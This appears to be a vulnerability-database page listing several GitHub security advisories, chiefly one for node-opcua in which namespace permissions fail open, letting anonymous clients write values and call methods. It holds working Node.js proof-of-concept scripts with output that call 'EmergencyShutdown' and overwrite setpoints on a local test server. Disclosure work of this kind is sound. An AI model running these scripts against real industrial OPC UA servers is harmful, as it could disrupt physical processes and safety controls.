methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });
Output:
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)
Impact
- Write arbitrary values to Variables (
CurrentWrite) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters. - Call bound Methods. Methods have no AccessLevel second gate;
executabledefaults totruefor bound methods (ua_method_impl.ts). - Affects every Node relying on the namespace
DefaultRolePermissionsinheritance mandated by OPC 10000-3 §5.2.9. - Anonymous receives every
PermissionFlagbecausenullresolves toallPermissions. - Availability impact (A:H, CVSS 9.8) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored
A:Nas deployment-specific.
What is NOT affected
Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.
- Nodes with explicit per-node
RolePermissions(correctly enforced - PoC-A case A). - Programmatically-created namespaces where the operator calls both
setDefaultRolePermissions()andsetNamespaceMetaData()(PoC-B--safe). - Variables without
CurrentWritein AccessLevel (the Call vector still applies to Methods).
Proposed Fix
- Fail-closed -
getPermissionForRole(null)should returnPermissionFlag.None, notallPermissions(per §4.8.3 default-deny). - Coherent path -
getApplicableRolePermissions()should usenode.getRolePermissions(inherited=true), which already reads the namespace field correctly. - API safety -
setDefaultRolePermissions()should take effect on enforcement directly, without requiringsetNamespaceMetaData()(which throws on nodeset-loaded namespaces). - Hardening -
server_engine.ts:947-957should not unconditionally resetDefaultRolePermissions.
Spec Reference (verified verbatim against the official OPC Foundation reference)
- OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns
Bad_UserAccessDenied." (default-deny, the behaviour Bug 1 inverts). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3 - OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of
DefaultRolePermissionsProperty from theNamespaceMetadataObject associated with the Node shall be used instead." and "If a Server supports Permissions for a particular Namespace it shall add theDefaultRolePermissionsProperty to theNamespaceMetadataObject for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9 - OPC 10000-5 §6.3.13 - NamespaceMetadataType (defines
DefaultRolePermissions/DefaultUserRolePermissionsas Properties of theNamespaceMetadataObject). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-opcua"
},
"ranges": [
{
"events": [
{
"introduced": "2.42.0"
},
{
"fixed": "2.180.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "node-opcua-address-space"
},
"ranges": [
{
"events": [
{
"introduced": "2.42.0"
},
{
"fixed": "2.180.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "node-opcua-server"
},
"ranges": [
{
"events": [
{
"introduced": "2.42.0"
},
{
"fixed": "2.180.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-95860"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-285",
"CWE-636",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-10T15:56:52Z",
"nvd_published_at": "2026-11-03T21:17:45Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nAn unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions.\n\nThis follows the inheritance model defined by OPC UA Part 3, \u00a75.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 \u00a74.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**.\n\nThe root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path.\n\n---\n\n## Affected configuration\nThis advisory covers two cases that are not equally severe:\n1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua\u0027s documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.\n2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default.\nEverything below describes case 2 unless stated otherwise.\n\n\n## Root Cause Analysis\n\n### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates \u00a74.8.3 default-deny)\n\nFile: `packages/node-opcua-address-space/source/session_context.ts:151-153`\n\n```ts\nfunction getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {\n if (rolePermissions === null) {\n return allPermissions; // null means \"grant everything\" to ANY role, including Anonymous\n }\n```\n\nWhen the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 \u00a74.8.3 requires the opposite: *\"If they are not set the Server returns `Bad_UserAccessDenied`.\"*\n\n### Bug 2 - The namespace default resolves to `null` on the enforcement path\n\nThe runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/\u003cns\u003e`. These resolve to `null` in every reachable configuration:\n\n- **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`).\n- **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`.\n\nAdditionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore:\n\n```ts\nfor (const ns of namespacesNode.getComponents()) {\n const defaultRolePermissions = ns.getChildByName(\"DefaultRolePermissions\") as UAVariable | null;\n if (defaultRolePermissions) {\n defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });\n }\n}\n```\n\n\u003e **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value\u0027s `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless.\n\n### Bug 3 - Two incoherent enforcement paths\n\nThere are two separate and disconnected paths to resolve namespace-default permissions.\n\n**Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`:\n\n```ts\npublic setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {\n this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;\n}\n```\n\nThis is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`).\n\n**Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`):\n\n```ts\nconst defaultRolePermissions = uaNamespaceObject.getChildByName(\"DefaultRolePermissions\") as UAVariable;\nif (defaultRolePermissions) {\n const dataValue = defaultRolePermissions.readValue();\n if (dataValue?.statusCode.isGood()) {\n return dataValue.value.value as RolePermissionType[] | null;\n }\n}\n```\n\nBecause Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`, the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace) and the operator\u0027s `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1).\n\n\u003e *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`.\n\nSynchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`:\n\n```ts\nmetaData.defaultRolePermissions?.bindVariable(\n {\n get: () =\u003e\n new Variant({\n dataType: DataType.ExtensionObject,\n arrayType: VariantArrayType.Array,\n value: namespace.getDefaultRolePermissions()\n })\n },\n true\n);\n```\n\nWithout calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `\"INamespace meta data already exists\"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.**\n\n---\n\n## Steps to Reproduce\n\n### PoC-A - Address-space level (unit test, no network)\n\nSave as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run:\n\n```bash\ncd packages/node-opcua-address-space\nnpx mocha ./test/test_poc_rbac_failopen.ts\n```\n\n```ts\nimport { makePermissionFlag } from \"node-opcua-data-model\";\nimport { PermissionType } from \"node-opcua-types\";\nimport { DataType } from \"node-opcua-variant\";\nimport should from \"should\";\nimport { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from \"..\";\nimport { getMiniAddressSpace } from \"../testHelpers\";\n\nconst _keep = should;\n\ndescribe(\"PoC RBAC fail-open\", () =\u003e {\n let addressSpace: AddressSpace;\n let namespace: Namespace;\n\n before(async () =\u003e {\n addressSpace = await getMiniAddressSpace();\n namespace = addressSpace.getOwnNamespace();\n });\n after(() =\u003e addressSpace.dispose());\n\n function anonymousContext(): SessionContext {\n const ctx = new SessionContext();\n ctx.getCurrentUserRoles = () =\u003e makeRoles([WellKnownRoles.Anonymous]);\n return ctx;\n }\n\n it(\"A. CONTROL: per-node rolePermissions deny Anonymous\", () =\u003e {\n const secured = namespace.addVariable({\n browseName: \"SecuredWithNodePermissions\",\n dataType: DataType.Double,\n accessLevel: \"CurrentRead | CurrentWrite\",\n userAccessLevel: \"CurrentRead | CurrentWrite\"\n });\n secured.setRolePermissions([\n { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag(\"Read | Write\") }\n ]);\n const ctx = anonymousContext();\n ctx.checkPermission(secured, PermissionType.Write).should.eql(false);\n });\n\n it(\"B. VULN: node relying on namespace-default -\u003e Anonymous gets Write\", () =\u003e {\n const relyingOnDefault = namespace.addVariable({\n browseName: \"RelyingOnNamespaceDefault\",\n dataType: DataType.Double,\n accessLevel: \"CurrentRead | CurrentWrite\",\n userAccessLevel: \"CurrentRead | CurrentWrite\"\n });\n const ctx = anonymousContext();\n const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);\n should(applicable).eql(null, \"namespace default resolves to null (no namespace-metadata node)\");\n ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);\n relyingOnDefault.isUserWritable(ctx).should.eql(true);\n });\n\n it(\"C. VULN: bound Method without per-node permission -\u003e Anonymous can Call\", () =\u003e {\n const obj = namespace.addObject({ browseName: \"PocObject\", organizedBy: addressSpace.rootFolder.objects });\n const method = namespace.addMethod(obj, {\n browseName: \"PrivilegedMethod\",\n inputArguments: [],\n outputArguments: []\n });\n method.bindMethod((inputArguments, context, callback) =\u003e callback(null, { statusCode: 0 as any }));\n const ctx = anonymousContext();\n ctx.checkPermission(method, PermissionType.Call).should.eql(true);\n method.getUserExecutableFlag(ctx).should.eql(true);\n });\n});\n```\n\n**Output:**\n\n```text\n PoC RBAC fail-open\n \u2713 A. CONTROL: per-node rolePermissions deny Anonymous\n \u2713 B. VULN: node relying on namespace-default -\u003e Anonymous gets Write\n \u2713 C. VULN: bound Method without per-node permission -\u003e Anonymous can Call\n\n 3 passing\n```\n\n### PoC-B - End-to-end over TCP (programmatic namespace)\n\nSave as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control):\n\n```js\nconst {\n OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,\n MessageSecurityMode, SecurityPolicy, UserTokenType,\n WellKnownRoles, makePermissionFlag, setNamespaceMetaData\n} = require(\"node-opcua\");\n\nconst PORT = 48411;\nconst ENDPOINT = `opc.tcp://localhost:${PORT}`;\nconst SAFE_MODE = process.argv.includes(\"--safe\");\nlet parentNodeId, methodNodeId, variableNodeId;\n\nasync function startServer() {\n const server = new OPCUAServer({\n port: PORT,\n securityPolicies: [SecurityPolicy.None],\n securityModes: [MessageSecurityMode.None],\n allowAnonymous: true\n });\n await server.initialize();\n\n const ns = server.engine.addressSpace.getOwnNamespace();\n\n // Operator hardening: namespace-level RBAC, Anonymous excluded\n ns.setDefaultRolePermissions([\n { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag(\"Read | Write | Browse | Call\") },\n { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag(\"Read | Browse\") }\n ]);\n if (SAFE_MODE) {\n setNamespaceMetaData(ns);\n }\n\n const device = ns.addObject({ browseName: \"PlantDevice_01\", organizedBy: server.engine.addressSpace.rootFolder.objects });\n parentNodeId = device.nodeId;\n\n const method = ns.addMethod(device, { browseName: \"EmergencyShutdown\", inputArguments: [], outputArguments: [] });\n method.bindMethod((_in, _ctx, cb) =\u003e {\n console.log(\"[server] EmergencyShutdown EXECUTED by anonymous caller\");\n cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });\n });\n methodNodeId = method.nodeId;\n\n const variable = ns.addVariable({\n browseName: \"ReactorSetpoint\",\n componentOf: device,\n dataType: DataType.Double,\n accessLevel: \"CurrentRead | CurrentWrite\",\n userAccessLevel: \"CurrentRead | CurrentWrite\",\n value: { dataType: DataType.Double, value: 350.0 }\n });\n variableNodeId = variable.nodeId;\n\n await server.start();\n console.log(`[server] Listening on ${ENDPOINT}`);\n return server;\n}\n\nasync function anonymousAttack() {\n const client = OPCUAClient.create({\n endpointMustExist: false,\n securityMode: MessageSecurityMode.None,\n securityPolicy: SecurityPolicy.None\n });\n await client.connect(ENDPOINT);\n const session = await client.createSession({ type: UserTokenType.Anonymous });\n console.log(\"[client] Anonymous session activated\");\n\n let callStatus;\n try {\n const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });\n callStatus = r.statusCode.toString();\n } catch (e) { callStatus = e.message; }\n\n let writeStatus;\n try {\n const r = await session.write({\n nodeId: variableNodeId,\n attributeId: AttributeIds.Value,\n value: { value: { dataType: DataType.Double, value: 999.0 } }\n });\n writeStatus = r.toString();\n } catch (e) { writeStatus = e.message; }\n\n await session.close();\n await client.disconnect();\n return { callStatus, writeStatus };\n}\n\n(async () =\u003e {\n const server = await startServer();\n try {\n const { callStatus, writeStatus } = await anonymousAttack();\n console.log(`\\nMode: ${SAFE_MODE ? \"SAFE\" : \"VULNERABLE\"}`);\n console.log(`CALL EmergencyShutdown : ${callStatus}`);\n console.log(`WRITE ReactorSetpoint : ${writeStatus}`);\n const vuln = callStatus.includes(\"Good\") || writeStatus.includes(\"Good\");\n console.log(vuln ? \"\\nVULNERABLE - Anonymous bypassed namespace RBAC\" : \"\\nSAFE - RBAC correctly enforced\");\n } finally {\n await server.shutdown();\n }\n})().catch(e =\u003e { console.error(e); process.exit(1); });\n```\n\n**Vulnerable output** (`node poc_b_e2e_rbac.js`):\n\n```text\n[server] EmergencyShutdown EXECUTED by anonymous caller\nMode: VULNERABLE\nCALL EmergencyShutdown : Good (0x00000000)\nWRITE ReactorSetpoint : Good (0x00000000)\n```\n\n**Control output** (`node poc_b_e2e_rbac.js --safe`):\n\n```text\nMode: SAFE\nCALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)\nWRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)\n```\n\n### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)\n\nSave as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`:\n\n```js\nconst {\n OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,\n MessageSecurityMode, SecurityPolicy, UserTokenType,\n WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets\n} = require(\"node-opcua\");\n\nconst PORT = 48412, DI_URI = \"http://opcfoundation.org/UA/DI/\";\nlet deviceId, methodId, variableId;\n\nasync function startServer() {\n const server = new OPCUAServer({\n port: PORT,\n securityPolicies: [SecurityPolicy.None],\n securityModes: [MessageSecurityMode.None],\n allowAnonymous: true,\n nodeset_filename: [nodesets.standard, nodesets.di]\n });\n await server.initialize();\n\n const di = server.engine.addressSpace.getNamespace(DI_URI);\n di.setDefaultRolePermissions([\n { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag(\"Read | Write | Browse | Call\") }\n ]);\n try {\n setNamespaceMetaData(di);\n console.log(\"[server] hardening: metadata bound\");\n } catch (e) {\n console.log(\"[server] hardening FAILED:\", e.message);\n }\n\n const device = di.addObject({ browseName: \"Pump01\", organizedBy: server.engine.addressSpace.rootFolder.objects });\n deviceId = device.nodeId;\n\n const m = di.addMethod(device, { browseName: \"Stop\", inputArguments: [], outputArguments: [] });\n m.bindMethod((_i, _c, cb) =\u003e {\n console.log(\"[server] Stop() EXECUTED by anonymous\");\n cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });\n });\n methodId = m.nodeId;\n\n const v = di.addVariable({\n browseName: \"Setpoint\",\n componentOf: device,\n dataType: DataType.Double,\n accessLevel: \"CurrentRead | CurrentWrite\",\n userAccessLevel: \"CurrentRead | CurrentWrite\",\n value: { dataType: DataType.Double, value: 42 }\n });\n variableId = v.nodeId;\n\n await server.start();\n return server;\n}\n\nasync function attack() {\n const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });\n await client.connect(`opc.tcp://localhost:${PORT}`);\n const s = await client.createSession({ type: UserTokenType.Anonymous });\n const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();\n const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();\n await s.close();\n await client.disconnect();\n console.log(\"CALL Stop() :\", call);\n console.log(\"WRITE Setpoint :\", write);\n}\n\n(async () =\u003e {\n const srv = await startServer();\n try { await attack(); } finally { await srv.shutdown(); }\n})().catch(e =\u003e { console.error(e); process.exit(1); });\n```\n\n**Output:**\n\n```text\n[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/\n[server] Stop() EXECUTED by anonymous\nCALL Stop() : Good (0x00000000)\nWRITE Setpoint : Good (0x00000000)\n```\n\n---\n\n## Impact\n\n- **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters.\n- **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`).\n- Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 \u00a75.2.9.\n- Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`.\n- Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific.\n\n## What is NOT affected\n\nServers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.\n\n- Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A).\n- Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`).\n- Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods).\n\n---\n\n## Proposed Fix\n\n1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per \u00a74.8.3 default-deny).\n2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly.\n3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces).\n4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`.\n\n---\n\n## Spec Reference (verified verbatim against the official OPC Foundation reference)\n\n- **OPC 10000-3 \u00a74.8.3 - Evaluating Permissions with Roles:** *\"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`.\"* (default-deny, the behaviour Bug 1 inverts). \u003chttps://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3\u003e\n- **OPC 10000-3 \u00a75.2.9 - RolePermissions:** *\"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead.\"* and *\"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace.\"* \u003chttps://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9\u003e\n- **OPC 10000-5 \u00a76.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). \u003chttps://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13\u003e",
"id": "GHSA-xggf-m53x-jc3f",
"modified": "2026-11-10T15:56:52Z",
"published": "2026-11-10T15:56:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95860"
},
{
"type": "WEB",
"url": "https://github.com/node-opcua/node-opcua/pull/1580"
},
{
"type": "WEB",
"url": "https://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698"
},
{
"type": "PACKAGE",
"url": "https://github.com/node-opcua/node-opcua"
},
{
"type": "WEB",
"url": "https://github.com/node-opcua/node-opcua/releases/tag/v2.180.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions"
}
GHSA-XGHP-2WJ5-QCMQ
Vulnerability from github – Published: 2022-03-03 00:00 – Updated: 2022-03-17 00:04Improper Authorization in GitHub repository webmin/webmin prior to 1.990.
{
"affected": [],
"aliases": [
"CVE-2022-0829"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-02T12:15:00Z",
"severity": "HIGH"
},
"details": "Improper Authorization in GitHub repository webmin/webmin prior to 1.990.",
"id": "GHSA-xghp-2wj5-qcmq",
"modified": "2022-03-17T00:04:16Z",
"published": "2022-03-03T00:00:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0829"
},
{
"type": "WEB",
"url": "https://github.com/webmin/webmin/commit/eeeea3c097f5cc473770119f7ac61f1dcfa671b9"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/f2d0389f-d7d1-4f34-9f9d-268b0a0da05e"
},
{
"type": "WEB",
"url": "https://notes.netbytesec.com/2022/03/webmin-broken-access-control-to-post-auth-rce.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGJG-VWWH-M3X2
Vulnerability from github – Published: 2026-08-26 00:31 – Updated: 2026-08-26 21:31Incorrect Authorization vulnerability in Drupal Edit in-place field allows Forceful Browsing. This issue affects Edit in-place field versions: from 0.0.0 to 2.1.1.
{
"affected": [],
"aliases": [
"CVE-2026-18985"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T23:16:57Z",
"severity": "HIGH"
},
"details": "Incorrect Authorization vulnerability in Drupal Edit in-place field allows Forceful Browsing. This issue affects Edit in-place field versions: from 0.0.0 to 2.1.1.",
"id": "GHSA-xgjg-vwwh-m3x2",
"modified": "2026-08-26T21:31:40Z",
"published": "2026-08-26T00:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18985"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGRF-RHVW-H8MR
Vulnerability from github – Published: 2023-02-09 18:30 – Updated: 2025-03-25 15:31The multi-screen collaboration module has a privilege escalation vulnerability. Successful exploitation of this vulnerability may affect data confidentiality.
{
"affected": [],
"aliases": [
"CVE-2022-48286"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-09T17:15:00Z",
"severity": "HIGH"
},
"details": "The multi-screen collaboration module has a privilege escalation vulnerability. Successful exploitation of this vulnerability may affect data confidentiality.",
"id": "GHSA-xgrf-rhvw-h8mr",
"modified": "2025-03-25T15:31:12Z",
"published": "2023-02-09T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48286"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/2"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202302-0000001454769474"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGWG-M42C-8Q62
Vulnerability from github – Published: 2026-03-21 03:31 – Updated: 2026-03-24 19:06Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-v8cg-4474-49v8. This link is maintained to preserve external references.
Original Description
OpenClaw versions prior to 2026.2.26 fail to enforce sender authorization in member and message subtype system event handlers, allowing unauthorized events to be enqueued. Attackers can bypass Slack DM allowlists and per-channel user allowlists by sending system events from non-allowlisted senders through message_changed, message_deleted, and thread_broadcast events.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.2.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T19:06:23Z",
"nvd_published_at": "2026-03-21T01:17:10Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-v8cg-4474-49v8. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw versions prior to 2026.2.26 fail to enforce sender authorization in member and message subtype system event handlers, allowing unauthorized events to be enqueued. Attackers can bypass Slack DM allowlists and per-channel user allowlists by sending system events from non-allowlisted senders through message_changed, message_deleted, and thread_broadcast events.",
"id": "GHSA-xgwg-m42c-8q62",
"modified": "2026-03-24T19:06:23Z",
"published": "2026-03-21T03:31:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-v8cg-4474-49v8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32895"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/3d30ba18a2aba1e1b302e77ff33145c3b06c01c8"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-sender-authorization-bypass-in-slack-system-event-handlers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: Slack system events bypass sender authorization in member and message subtype handlers",
"withdrawn": "2026-03-24T19:06:23Z"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
